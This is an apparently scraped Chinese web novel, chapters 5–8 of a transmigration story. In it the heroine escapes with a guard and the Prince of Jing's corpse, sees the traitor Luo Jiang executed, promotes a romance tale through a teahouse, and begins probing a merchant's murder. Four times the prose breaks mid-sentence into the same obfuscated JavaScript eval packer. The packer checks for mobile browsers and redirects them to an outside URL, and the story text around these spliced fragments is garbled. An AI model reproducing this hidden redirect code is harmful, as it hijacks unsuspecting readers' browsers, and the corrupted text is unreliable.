在前面的方呈白错开身子,以便孟望云放入钥匙。前方的墙壁向两侧分开,露出一间屋子的模样。 孟望云取出钥匙,两人出了密道。 孟望云回身打量,墙壁果然是书橱的橱壁。她熟门熟路,在书橱内壁找到凹槽,用钥匙关了密道,然后在室内找了张椅子,坐下休息,才好似活了过来。 房间有窗户,方呈白开窗向外望去。 街上人群熙攘,嬉笑声、叫卖声不绝于耳,路旁两侧店肆林立,茶馆、当铺以及作坊等,正是热闹的市井情景。 “方呈白,”孟望云叫他名字,“你把靖王放地上罢。” 她朝他招了招手,“过来一下,我有事情麻烦你做。” 王妃竟然知晓他的名字? 方呈白一怔。或许是王妃记住了大部分侍卫的名字,他不过是恰巧被她记住的其中一人。 明知如此,他仍然深受触动,走至她身侧低头听令。 “你拿我给你的信去孟府,务必把信交到我父母手中。”孟望云道,“我在这守着尸体,你速去速回。” 事实上,她更想在路边叫个马车,直接去孟府。但方呈白刚才开了窗,她望到这块大概是坊市区域,来来往往的都是老百姓,而马车放现代相当于名牌豪车,在这一时半会儿很难找到。 即使能找到马车,车夫也有可能泄露信息,私密性无法保障。而为了皇室颜面,靖王尸体越少人看到越好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744522|157545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此事注定不能大张旗鼓,是以由孟府驾马车来实为上策—— 孟望云本就如此计划,她写的那封信也提及了此事。 按她的计划,她和方呈白出了密道,不论密道出口在何方,她都准备让方呈白去孟府送信。 一是她体力难以支持继续赶路,二是考虑到两人不好带靖王尸体大大咧咧在路上走。若是有些大臣知道了,恐怕她还要遭到指责。 方呈白有些不放心她独自一人,但见她一脸淡然镇定,只能安慰自己王妃自有妙计。 离开前,他回头了好几次。孟望云看他这样,以为他是不乐意。也是,这周目两人一见面,她就吩咐他做这做那,而且他和刺客过招,肯定也受了伤。 秉着良心,孟望云朝他承诺道,“这回你于王府有大功,待一切真相大白,定予你升职加薪。” 任谁听了这话都会情绪高涨,可方呈白面上好似并无多喜悦。在他推门出去前,孟望云福至心灵,扬声道:“路上注意安全!” 方呈白回眸,神采奕奕,“王妃,你也要多加小心。属下定会尽快完成任务。” 孟望云悟了,原来方呈白需要的是情绪价值。 方呈白出了门,沿街辨认方向后就闷头赶路。他的速度比在密道里还要快。在密道里时,他都是特意放慢速度,以便孟望云能及时跟上。 等走到更繁华之地,他租了一匹马,便向孟府快马加鞭。 这边,孟望云还在房间内休息。 这是一个简陋的屋子,一眼望去,只有她坐的椅子和面前的桌子,还有一个遮住密道的的书橱。书橱空荡荡的,里面一本书也没有。 见此情景,孟望云怀疑她们在密道走远路了。 密道内或许不止一个出口,而这个出口大概不常用,故而摆设简单。 她不担心此时会再遇到危险。依照靖王谨慎的性格,这里既然算是出口据点,安全肯定有基本保证。 而且她在未开密室出口前,就已新存了一个档,遇到危险大不了读档再来。 如今,只希望孟府的人能在宵禁前赶到,这样一切便成定局。 休息够了,她打开成就面板,惊喜发现达成了一个成就。 【成就名称:付之一炬-免付一炬】 【详细描述(达成后可见):你及时挽救了靖王收集的证据,阻止了贼臣的计划】 【所获积分:2分】 【注:此成就需先后触发“付之一炬”与“免付一炬”】 孟望云看最后一行,如若是”付之一炬”,那她在牢狱里被杀那周目,还有她找证据的那几周目,都达到了“付之一炬”。 想到回家需要积攒的100分,这2分虽然杯水车薪,但也是朝目标迈出了一步,是一个好兆头。 孟望云看了看面板上其它成就,之前她忙着逃命、逆转局势,都没有来得及好好研究。 成就面板上,未达成的成就只能看见名称与对应积分,她只能凭借名称来猜成就具体内容。 她目光落到一个名叫“最佳CP”的成就上。 孟望云把视线投向不远处靖王尸体,有了一个大胆的想法。 一时间,它们喊着“曾经沧海难为水,除却巫山不是云”“十年生死两茫茫,不思量,自难忘”“惟将终夜长开眼,报答平生未展眉”什么爱情啊思念啊就朝她冲上来了—— 她也可以为靖王种一株枇杷树的,孟望云想。 别说一株,只要能达成成就,她能种几十株。 5. 成就1个 孟望云在等待之余,认真翻阅了一下原身记忆。 这一浏览,就发现原身和她不仅在性格方面相似,有些喜好也十分重合,就仿佛是异世的另一个她。 但两个人再如何相似,也并非完全一样。她们在部分小事上有明确区分,这也是孟望云需要伪装自己的方面。 令她有些惊讶的是,原身和她刻板印象中的古代女性有些不一样。 原身的确是大家闺秀,但她琴棋书画并不精通,诗词歌赋也并不信手拈来,她也不喜欢女红做手工,甚至反感女则女训之类。 在这个缠足之风盛行的时代,她强烈拒绝缠足。是以如今的孟望云,还能如在现代一般正常地走走跳跳。 原身还不爱走动,用现代话来说,就是比较宅。这一点和孟望云很像,她平常就喜欢窝在大学宿舍。 如此一来,孟望云也不用在亲人熟人面前背几首诗歌,来充当什么才女。 原身不会的,她也不怎么会。 想到这里,她心情有些复杂。 不过,她很快又发现一件比较奇怪的事。 在古代,一般而言,女子及笄就能嫁人。原身及笄时,不少人来求亲,但都被爹娘婉拒。 直至原身今年二十岁,靖王有意娶妃。在原身爹娘谋划下,原身嫁给了靖王。 之所以说谋划,是因为靖王的首选不是原身,他本来想娶的是另一位素有才女之名的贵女。 是的,靖王喜欢不仅擅长诗词,还有名气的大家闺秀。但原身只占了这三样中的后一样。 孟望云自认她这三样都不占,但这有什么关系,她照样能炒热自己和靖王的CP。 不论靖王喜欢什么样的,他现在也只能按她的样子喜欢。 孟望云思考该如何把CP炒火、炒得激动人心,如若手边有纸有笔,她都能写个《CP设计书》出来。 她在现代磕过CP,太懂怎么制造磕点了。 就在她于脑海里拟定计划书时,敲门声响起。随后是门被推开,一位贵妇人站在那里。 贵妇人泪眼婆娑,轻声唤她:“云儿……” 孟望云立刻进入状态,扶着桌子站起来,抬手抹还没流出来的泪,“娘……” 她怕露馅,是以赶紧低头,故作被吓到的样子,委屈不已。 虽然原身和她性格相似,但一个一直顺风顺水的贵女忽遭其难,再怎么镇定,在亲人面前也会卸下坚硬的外壳,露出脆弱的一面。 而且原身娘是一位郡主,这么多年操心府内府外,并不是简单人物。以防原身娘怀疑她换了个芯,孟望云保持谨慎,一时没有其它动作。 静了一会儿,孟望云发现,原身娘不接她的戏。 孟望云等对方来安慰她,可抬眸一瞧,原身娘就那样望着她,快哭成泪人。对方眼神里的情感是那么复杂,令孟望云难以解析。 孟望云本来面对她还紧张,可如今这情况,她怎么莫名感觉原身娘比她还紧张? 没办法,孟望云主动出招。 她向前到郡主面前,牵住郡主的手,尝试安抚几句:“娘,别难过。女儿不还好好站在你面前嘛。” 郡主破涕而笑,回握住孟望云的手。 她似乎想要说些什么,却欲言又止,只看不够似地看孟望云。 “对了娘,棺材带来了么?” 郡主牵她出门,“带来了,我们先上车,他们也好做事。” 宽敞的马车内,郡主贴身侍女为她披上披风,心疼地道,“姑娘是不是冻坏了,脸这么白。” 郡主一直握着她的手,让她另一个侍女拿来手炉,递给孟望云:“云儿,冷不冷,饿不饿?冷了饿了,跟娘直说。” 孟望云还真有点饿了,换言之,很饿。 之前疲于奔命,不觉得冷,也不觉得饿。如今被别人一关心,那十分的冷与饿也变成了二十分,孟望云顿觉自己可谓饥寒交迫。 一个侍女端来糕点,孟望云在吃前,没忘记询问郡主其它的事。 她给孟府的信里,说需要她们带来一副棺材,以安置靖王尸体;还提到骆江在靖王府行径恶劣,希望孟府派人救出原身侍女; 最后一点则是,如若孟府有武功高强的门客或侍卫,需赶紧去找寻骆江那辆有雕饰的黑色马车,车上藏匿的杀手受骆江调遣。若能抓到,便是铁证。 郡主欣慰地笑了,“我们云儿这是真长大啦,能担事了。这些我们都派了人去做,但此事重大,你爹又去找了刑部尚书,这时候他们已经在求见陛下了。” 孟望云赶紧取下包袱,“娘,这里面是我从王府带出的证据。因太过重要,故而我不敢交付与别人。” “不急,等你爹回来。”郡主明白她言下之意,“这些证据肯定是要交到刑部和大理寺的。那骆江也是昏了头!” 窗外,孟府下人正从屋里抬出一副棺材,棺材里就是靖王尸体了。孟望云饶有兴致地打量,这副棺材虽规格不符靖王身份,但材质和做工却是顶好。 她原以为孟府人不会来这么快,因为还得准备安置靖王的棺材。但看郡主她们比她预计到的早,以及这副棺材的华美度,她猜测这棺材是早在孟府里备好的。 也不知是为谁准备。孟望云搜遍记忆,找不到答案。她也不好问郡主以防露馅,索性不再深思。 棺材上了后面那辆车,一行人便向孟府赶去。 路上,孟望云昏昏欲睡,浑身都不得劲。终于到孟府,她也睁不开眼。郡主摸了摸她的额头,摸到一片滚烫。 郡主的声音仿佛从远处传来,“云儿受风寒了,快请大夫……” 孟望云陷入梦境前,除了还在惦记骆江的下场,还在想自己好似忘了什么人。 今夜有人能心安如睡,有的人却彻夜难眠。 深夜,某客栈。 一个男子出了房间,正欲下楼,习惯性地往一楼客堂看去。就那坐着见几个身穿浅绯衣袍的人,似是察觉到他的目光,如鹰似地朝他望来。 他一惊,这几个都不是他常见的面孔。但男人很快稳住,就如平常老百姓一般恭敬又畏惧地垂下头。 在他思考是该回房间、还是如常下楼的时候,那几个绯袍又收回了目光,仿佛没有把他放眼里。 男人紧绷的心弦稍微放松。如若是往日,他会更谨慎回房,但今日是把情报传出京城的日子,他必须把这份情报传出去。 思及这个客栈的隐秘性与特殊性,男人稳住忐忑的情绪。 他缓缓下楼梯,客堂内很安静,此时已到宵禁时间,少有人外出。 快走近绯袍时,他陪笑想说自己去上茅厕,那几个绯袍却以迅雷不及掩耳之势,猛然将他控制住。 男子心下大骇,“大人,冤枉啊!” 下一刻,他的嘴被捂住,再发不出为自己辩解的声音。 男人想破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744523|157545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋,也想不出是哪一步出了差错、漏了马脚,让朝廷的绛衣卫闻味儿循了过来。 而且,绛衣卫不是由那人掌管吗,难道是那人反水了,还是那人出了别的问题? 骆江也不知是哪一步出了差错。 在发现有人跟踪自己后,他立刻反应过来有人盯上自己。他在身边人中排查,同时尝试反追踪,找出了怀疑自己的人的身份。 竟然是靖王。 据骆江所知,朝中不少大臣仍更希望是靖王坐上龙椅,而不是当今圣上。靖王的确才能不凡,不乏支持者,可那又怎样? 先帝仍然坚持立圣上为太子,最后坐上龙椅的是圣上,不是靖王。 但这事也是圣上心里的一根刺。 怀着圣上对他重任的自信,以及圣上对靖王的不喜,在得知靖王想要上奏弹劾他时,骆江便脑子一热,迈出了无法挽回的一步。 他几乎用了所有人脉,才重金寻来一位刺客,据说这位刺客至今毫无败绩,他相信刺客能够杀入靖王府,在靖王下属的层层把守下杀死靖王。 但这还不够。 靖王不会无故弹劾,是以骆江确信靖王一定掌握了他的证据,而那证据就在墨香轩。 他需要一场火,一场大火,不仅能毁尸灭迹,还能成为靖王的死因。 是以,他动用了安插在靖王府的暗桩,瞅准时机便放火。直接烧墨香轩有些刻意,于是他令暗桩先从墨香轩旁边的屋子烧。 骆江本不用亲到现场,可暗桩传来的消息,却令他有了疑虑。他不得不动身前往,以把局面控制在手中。 暗桩传来的消息是靖王妃去了墨香轩。王妃怎么忽然去墨香轩?这是他计划里的变数,但骆江只允许靖王妃有两个下场,一个是被刺客杀死,二是被大火烧死。 如若她幸运地出了墨香轩,骆江更不会放过她。 已经想好对策的骆江,就守在墨香轩门前。等靖王妃一出来,他就会在众目睽睽之下,给她定好罪名。 但靖王妃一直没出来。 她应是和靖王成苦命鸳鸯了,两人在地府也好做个伴,骆江想。 他为计划无误执行而暗喜,但依然耐心等待。等大火彻底烧毁墨香轩,他才从靖王府离开。 骆江没等到孟望云,刑部尚书、工部尚书还有指挥同知却等到了骆江。 而他颇为仰仗的圣眷,不会成为他的救命稻草,只会成为他的催命符—— 皇帝确实不喜靖王,但没了气的靖王,皇帝就不一定厌恶提防了。皇帝只会称靖王是他的贤弟,而骆江是可耻的叛国贼。 而且骆江犯下的罪行,任何一位皇帝都不会包庇。 刑部审罪、都察院参核,大理寺审允,最后是皇上的核准,骆江迎来他的斩立决。 午时三刻,鬼头大刀凛然落下。霎时间,人头与身体分离。 骆江至死都不明白,他怎么会走到这步田地。计划里只出现了靖王妃这一变数,她是如何搅乱这一切的? 他不会知道,这一局,不止靖王妃一个变数,还有第二个变数——异世灵魂的孟望云。 如若孟望云能听到他的心声,她会说这可不叫搅乱一切,这明明是拨乱反正。 一辆马车缓缓驶离法场,车帷被放下,遮盖住车内人的身影。 “去茗饮斋。” 孟望云吩咐道。 是时候把卖CP的日程提上来了。 6. 成就1个 孟望云说完,就打了一个喷嚏。 她揉揉鼻子,一旁的碧烟关心道:“姑娘,有没有哪里不舒服?” “没有,”孟望云随意道,“估计是谁想我了罢。” 碧烟抿唇道:“姑娘,你刚养好身子就出府,要是再受了寒可怎么办?你有什么事急着去做,大可以吩咐我们去做啊。” 碧烟是原身贴身侍女之一,和其她几个侍女与原身一同长大,对原身忠心耿耿。孟望云知她是关心自己,是以简单解释一句。 “这事比较特殊,我得亲自去做。” 卧床养病这几天,她也没闲着,派人去京中的茶馆调查了一下,哪个茶馆人流量最大。 而目前京中最火爆的茶馆,正是茗饮斋。 茗饮斋坐落于最繁华的街巷,一进茶馆,就见大堂里面坐得满满当当。其中一位说书人正讲着故事,嗓音洪亮,情绪高昂。 店小二迎了上来,观孟望云衣冠楚楚,通身气度颇有种林下风韵,又见其身边侍女眉目如画、仪态不俗,其余随侍亦非寻常人家侍从一般,心知这是贵客,连忙引到了二楼雅间。 茗饮斋设计别致,从二楼雅间也能看到一楼情况,并听到下边说书人慷慨激昂的声音。 孟望云一边眺望一楼,一边询问店小二:“掌柜在吗?” 店小二余光望了望楼上,“客人可是有什么吩咐?” 她笑了笑,“我想投资你们家茶馆。” 这话一出,不只店小二惊讶,连碧烟亦难掩讶异。 店小二见过许多客人,但还是第一次见到这么豪气的客人,一开口就是要投资。他并没有不当回事,对孟望云更加恭敬,表示自己得去问下掌柜。 待店小二离开,碧烟提起茶壶,为孟望云倒了一杯茶。这次她没开口提问,对自家姑娘要做的事,她向来支持,即使不解其意。 很快,店小二来请孟望云移步三楼。 孟望云见到掌柜,看到对方的第一眼,她就知道这位不是茗饮斋真正的掌事人。 “小姐,您是想投资我们茶馆?” 掌柜是一个中年男人,他话里话外都暗含拒绝,“您也看到了,我们茗饮斋不缺客人,更不缺资金。” “茗饮斋不缺资金,但它还可以更好,成为同行中的独一份。” 孟望云闲适靠在椅背,“唐有兰陵美酒,凭诗仙一句‘兰陵美酒郁金香,玉碗盛来琥珀光’而供不应求。” “若有才高八斗、擅作诗词者,为茗饮斋赋诗一首,想必茗饮斋会在今日盛况之上,更上一层楼。” “并且,拥有自己的招牌。” 她之前已了解到,这个朝代不是明朝,也不是历史上任何一个朝代。但在这个朝代之前,还是存在一些她所熟悉的朝代,就比如唐朝。 掌柜两眼放光,孟望云知道他被自己说动了。 他又抛出几个难题,“但又有谁人可如诗仙一般?况若真有此等人物,小姐难道能请对方为茗饮斋赋诗?” “如诗仙一般的人物?唐朝也只有一位诗仙。”孟望云笑言,“如今京城中出名的才女才子可不少,虽不及诗仙之才华,但于我们茗饮斋却绰绰有余。” “我有一位密友,极擅诗词,阁下必然也听说过她的名声。”孟望云指的是原身的闺蜜,“她就是崔家五小姐。” “原来是崔家五小姐。”掌柜不由自主点了点头,又道:“还请阁下等候片刻。” 说完,掌柜出了雅间。 大约一炷香后,掌柜回来坐下,开始和孟望云谈投资的事了。 孟望云以出钱投资、请才女代言为茗饮斋赋诗宣传两者为条件,希望能成为茗饮斋最大股东,也就是东家。但谈及具体利益,掌柜自然希望能从她这捞到更多好处。 两人你来我往、讨价还价,一旁的碧烟听得那是一个心潮澎湃。 自家姑娘说的什么“双方携手,合作共赢”“独沏快,众沏远”“破浪前行,共沏悦来客满之茶香”,虽不明其深意,但听着就很有高深的内涵,独出机杼。 最后,孟望云与掌柜结束了和谐的交谈,拿下茗饮斋除大老板外最大股东身份,拥有分红权、知情权、经营建议权等。 她更在乎的是知情权,和安排说书人讲什么故事的权力。 走完必要的程序,孟望云便询问掌柜:“我们茗饮斋最受欢迎的故事是什么?” 掌柜对新上任的大股东知无不言,言无不尽:“若论最受欢迎,自然非寒英公子的故事莫属。” “寒英公子每月会提供话本故事,他写的故事那叫一个精彩绝伦。再由我们这最好的说书人讲上一讲,必然是场场座无虚席!” 那肯定也能写好她和靖王的爱情故事了。写故事这种事,果然还是得找专业人士来写才行啊。 孟望云心下满意,“这位寒英公子住在哪里?我去拜访一下他。” 掌柜找来地址递给孟望云,继续滔滔不绝向她介绍寒英公子。 “虽然我没有见过寒英公子,但他定是一位温文尔雅、如清风晓月般的人物,会在春时沂水舞雩,后咏而归……” 掌柜的话犹在耳边,孟望云低头看了看纸上的地址,又抬头看了看面前的人。 “请问,你是寒英公子吗?” “是啊,就是我。那是我的自号。”少女应道,一手提着斧头,一手抬起擦了擦脸上的汗,“你谁?找我有事吗?” 她刚在院里砍柴呢,就听到有人敲门。开门一看,外面站着一行人,为首的是个陌生女子,正有些讶异和好奇地打量自己。 似月下雪,如山中玉。 看到这个陌生女子的第一眼,易织春脑海里立刻蹦出这句话。 她难得有些不好意思。 “我是茗饮斋的新东家,有事托你帮忙。” 孟望云本想开门见山,高薪雇佣她写CP故事。但看人家手里还拿着斧头,应该是先前还有活儿要干,她也不能一上来直接开谈,是以先客气一下。 易织春挠了挠头,侧身请孟望云进来。 孟望云吩咐其余随侍在门外等候,只带碧烟进了门。 院子里有坎好的木柴,有一棵枣树,鸡圈里有几只鸡,还有一张石桌和四个石凳。 说到枣树,孟望云就想到了鲁迅的“一株是枣树,另一株也是枣树”。可惜寒英公子的院子里只有一株,但和鲁迅的枣树一样,也在掉叶子。 易织春不知怎么招待客人,她这也少有人来拜访。只能先请孟望云在石凳坐下,然后她放下斧头,进屋提出一壶水和三个杯子。 她一开始想拿两杯,见孟望云让碧烟也坐了下来,于是中途折返,又拿了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“虽悲痛于爱人的死亡,但靖王妃很快振作,势要完成理想,即使踽踽独行也无法阻拦住她的脚步……” “对了,你再自由发挥写另一版,明日一起交到茗饮斋。” 孟望云:“写得好有加成哦。” 易织春:……! “好的东家。”她露出靠谱的微笑。 只要钱到位,其它都不是问题。 两人又谈了一些细节问题,随后见时间不早,易织春还热情地想杀一只鸡,留她们吃饭。 孟望云婉拒。回了孟府后,她才想起来自己之前忘的人是谁。 正在此时,碧烟走了过来,“姑娘,方侍卫求见。” “方侍卫送信到府内后就倒下了,这几日就在我们府里疗养。”碧烟笑道, “听说方侍卫一醒来就问姑娘怎么样了,方侍卫人真好呀。姑娘,你要不把他留在身边当你的侍卫吧。” 孟望云有隐隐的想法,如今碧烟这么一说,顿觉应该把方呈白变成自己的侍卫。在攒够成就回家之前,他的存在就是自己安全的保证。 而且这可是她千辛万苦读档刷出来的人,意义非凡。 “先让他进来。” 7. 成就2个 方呈白垂手候在院子里,长身玉立、身姿挺拔。引得几个侍女一边洒扫,一边悄悄看他,彼此交换含笑意的眼神。 碧烟走出,笑道:“方侍卫,请随我来。” 闻言,方呈白目光乍亮,整理了一下衣物,跟在碧烟身后进屋。 他垂下眼帘,并不多瞧室内其它地方,只看自己脚下。 行礼过后,他一时词穷,不知该说什么好。也是在这时他发现,自己虽然很想很想见孟望云,却并没有来找她的理由。 他今日已听说骆江斩立决,此事告一段落,这代表着他与她的联系也随之消散。而除与她一起逃出王府这事之外,他与她又有什么关系呢? 她是靖王明媒正娶的妻子,而他不过是王府的一个侍卫。她与他,乃云泥之别,若在平日,她根本不会注意到他。 他到底为什么要来这里,或许王妃早已忘了他,而他又何必一痊愈就来见她? 方呈白心下苦涩,维持着行礼的姿势,一言不发。 孟望云给碧烟一个眼神,碧烟会意,悄然退出室内,候在门口。 “起来说话。” 孟望云直言道:“你以后有何打算?” 方呈白听了这话,自动翻译成她要赶人了。这几日他住在孟府,也是孟府的府医给他疗伤,但他终归是靖王府的人。 而王妃不同,她是靖王府的靖王妃,也是孟府的大小姐,郡主和工部尚书的掌上明珠。 一时间,他只希望自己没有来过,起码能自欺欺人,多留在孟府一会儿。 孟望云打量这闷葫芦,她本想问问他的想法,好尊重一下他的规划。但他甫一进来,就仿佛是把嗓音换了双腿的美人鱼,而且还低着头不看她。 她摸不着头脑,是以直接问道:“你可愿意辞去王府的职位,呆在我身边?” 话一出口,她就感觉这话有点歧义。 她想说的是,我雇佣你,给你高薪。但她刚才说的话,倒像是白剽,似是不想付方呈白月俸一样。 忆及曾许诺给方呈白的升职加薪,孟望云有些心虚。 不知方呈白在靖王府是几等侍卫,要是在她这呆着,也没有王府那给的品阶头衔。但月俸这方面,她肯定不会亏待他,毕竟原身真的很有钱。 她已想好一会儿方呈白拒绝,她该如何晓之以情动之以理,诱惑他跳槽到自家。虽然这无异于从大厂跳槽到小公司,但她会画饼啊,而且是很香的大饼。 不过这些思虑,都多余了。 因为他毫不犹豫就答应了,那样子像是从大厂跳槽到了全球top大厂。孟望云感觉他被人骗了都会帮人数钱,徒留她满脑话术难以施展。 见孟望云无言,方呈白还以为她是在怀疑他的真诚,他立刻表示明日就去王府辞职,然后立即上岗。 孟望云:也不用如此积极。 虽然员工很热情,但该明确的也得明确。孟望云严肃道:“既然如此,以后你只对我一人负责,只需听从我的命令,以我的利益为先。” 方呈白再次行了一礼,抬眸看向孟望云,表情很认真:“属下明白。” 孟望云感慨,方呈白这种人会是领导最喜欢的人,能力强又靠谱,最重要的是听话。 此事就这么定下,孟望云嘱咐方呈白继续好好养伤,以后的药费和医治费她报销。 方呈白又是一阵感动,但之后的几天却不是在客房里养伤,而是杵在孟望云院外“养伤”。 孟望云院里的洒扫侍女,也从一开始的好奇兴奋逐渐到视若无物,习惯了大早上看见外面杵着一个人。 这几日,孟望云常去茗饮斋,易织春写的CP故事也写到了第五版。选来选去,孟望云最终选了第一版,易织春当时听了,险些吐出血来。 第一版用孟望云的话来说,那就是以孟望云的虐文套路为骨,以易织春绝佳的剧情设计为皮,并巧妙融合了此时的时代背景,可以说是最能体现虐恋情深与家国大义的一版。 而且,孟望云不仅让易织春着重刻画了自己的“爱夫”、“重义”和“大格局”的形象,同时也没有抹黑靖王,靖王还是那个有贤能的靖王,但这就涉及到一个问题。 靖王上面还有圣上呢,两人虽是兄弟,但既在帝王家,那就是君臣在先,兄弟在后。 是以,孟望云没忘记让易织春又吹了一波皇帝。 以防拍马屁拍到马脚上,孟望云特意结合实际,让易织春又往里面加了些凸显帝王仁德的剧情,刻画了皇帝与靖王兄友弟恭的形象,矜持地赞美了陛下对靖王的友爱之情。 如果不是太后已经去世、当朝并无皇后,孟望云还会再吹一波太后和皇后。 这样一来,对于信服靖王的人,听了故事里赞美靖王的部分会高兴;对于敬服皇帝的人,听到故事里赞美陛下仁爱的部分也会满意。 大家都高兴,那孟望云的卖CP计划就能顺利实施了。毕竟别的不说,易织春写爱情故事的水平实属上流。 她把故事给身边几个侍女看,每个人一边看一边哭得稀里哗啦,愤愤不平道:“骆江实在可恶!呜呜,苍天你为什么要将有情人分离啊!” 说到骆江,他自然是逃无可逃的反派角色。避免让爱情故事落入俗套,孟望云还特意让易织春升华了一下,意在让大家提起对西陌细作的警惕,若发现可疑人物,务必及时上报朝廷。 经易织春润色故事后,由孟望云倾情指导、易织春亲笔所写的“靖王夫妇”爱情故事《燕双飞》正式定稿,即日起便在茗饮斋上线,由说书人轮番评说。 不仅如此,孟望云还出了钱,印了一批纸质版《燕双飞》故事以扩大传播。对这部分的收益,孟望云抽了六成给易织春,作为对她的激励。 易织春以为自己脱离了苦海,她每日被孟望云催稿都被催怕了。孟望云却没有放过她,因为孟望云发现,“最佳CP”这个成就竟然是个连续成就! 【成就名称:最佳CP-1.1真爱无敌】 【详细描述(达成1.1后可见):你和他的爱情故事广为传播,很多人都相信你们是真爱】 【所获积分:1分(1.1成就所获)】 【注:此成就含1.1、1.2等分支成就】 孟望云猜测,难道这意思是她还能和别的人捆绑新CP?或是“靖王夫妇”这个CP热度还有提升空间? 是以,易织春的噩梦再度成为现实。 “你再写几版出来,速度要快,主要写靖王妃如何思念靖王的故事。”孟望云想了想,“注意这个故事的时间线是靖王死去后。剧情可以写两人梦中相会、靖王妃为靖王种树。” “种树?”易织春不解,“种什么树?” “什么树都行,除了枇杷树。”孟望云活像什么都不懂但狮子大开口的甲方,“只要是有赞美爱情隐喻的树,或是能往思念靠拢的树。” 易织春:…… 给易织春留了新任务,孟望云愉悦下楼。 走到一楼,就见众人聚精会神听着《燕双飞》,只有一小簇人围着张桌子窃窃私语,对说书人的故事无动于衷。 她脚步一顿,改变路线,从那簇人旁边走过。没什么,她就是想看看他们在聊啥,竟然成了“靖王夫妇”CP的漏网之鱼。 “……这么残忍……真是这么死的?” “这能有假!我亲眼所见……那脖子,我杀鸡都没有那么利索……” “钱老爷还没付我月钱……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744525|157545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“而且你们不知道,现场还有几个字!” 几个人屏息凝神,就听那人说:“我不识字,但我听到了别人把那几个字念出来……” “别卖关子了,那几个字是什么?” “辜月酉时,百鬼见郝。” 孟望云挑了挑眉,调出成就面板,循记忆搜寻,果然找到了一个眼熟的成就名称。 【成就名称:百鬼见郝】 【详细描述(暂不可见)】 打量这一桌子的人,她沉思了一下,走到远处低声唤碧烟过来。 孟望云的专属雅间内,易织春还在奋笔疾书。见孟望云去而复返,易织春手一颤,“你又要让我写什么故事?” “你继续写你的。”孟望云招呼店小二放好屏风,然后坐下来倒了杯茶,“一会儿有人过来,我问他点事。” 不久,碧烟领着一个人进了雅间,这人正是刚才声称自己在现场的男子。 他第一次到茗饮斋的三楼,惴惴不安,只以为自己是无意间做了什么事,被大人物盯上了。 屏风隔断了他的视线,没等他从屏风上看出什么花样,屏风后边的人就开始询问他。 只是孟望云感觉是询问情况,而他觉得是大人物在审问他。故而,他把自己知道的全都抖出来了,希望向大人物证明自己的清白。 原是民间有一个大盗,这大盗原先只劫财,不杀人。不仅如此,这大盗还会把抢来的钱财送给那些急需用钱的百姓,是以这位大盗在民间名声还不错。 但最近这回,大盗不仅夺了财,还杀了人。 死者是一个富商,姓钱。 这人和其他人都是钱府的下人,但和其余人不同的是,在钱老爷死那天上午,他见过钱老爷一面。 钱老爷是下午死的。 “我听到有人尖叫,我不知道发生了什么,看见别人跑,我就跟他们一起跑。跑着跑着就路过了钱老爷房间,我看见那里很多人,我就挤进去看,就看到了钱老爷。” “屋里的字画还有一些值钱东西,都不见了。老爷身边还有几个血字,我不识字,但钱老爷的女儿读过书,她把那几个字念出来了。” “我离她不远,就听到了那几个字的发音,就是‘辜月酉时,百鬼见郝’。” “钱老爷女儿?” 钱府下人点头,“钱小姐是钱老爷的唯一一个女儿,但她并不受宠。听说她不想出嫁,想出家为尼,气得老爷很快给她定了亲事。” “但钱老爷没了,我觉得小姐的亲事可能也继续不下去了。” 孟望云:“因为钱小姐的婚姻对象看重的是钱家的钱?” “我不清楚,就是老爷死后,那个亲家来过人,离府的时候脸色很不好。” 钱府下人又补充,“钱老爷很抠门,钱家的少爷经常找老爷要钱,但老爷又好面子,所以大家都猜小姐嫁妆不会太寒碜。” “钱老爷有和姓‘郝’的人来往吗?” “这我不知道,老爷跟很多人见过面,我不知道那些人里有没有姓这个的。” 孟望云沉思,而她身侧的易织春则停了笔,低声说:“这个姓郝的,估计很快就要死了。” 见孟望云看过来,易织春指了指纸上的字。 方才她听那人说什么“辜月酉时,百鬼见郝”,立刻反应过来是哪几个字,是以写了下来。 “什么样的人能看到鬼?”易织春点了点纸,“一般情况下,自然是死去的人,才能见到鬼。” 孟望云沉默不语。 她想起,原身之前听说过一个郝大人。不仅如此,在原身和靖王成婚后不久,原身还亲眼看到过他和靖王一同进了墨香轩。 这个“郝”,会是他吗? 8. 成就2个 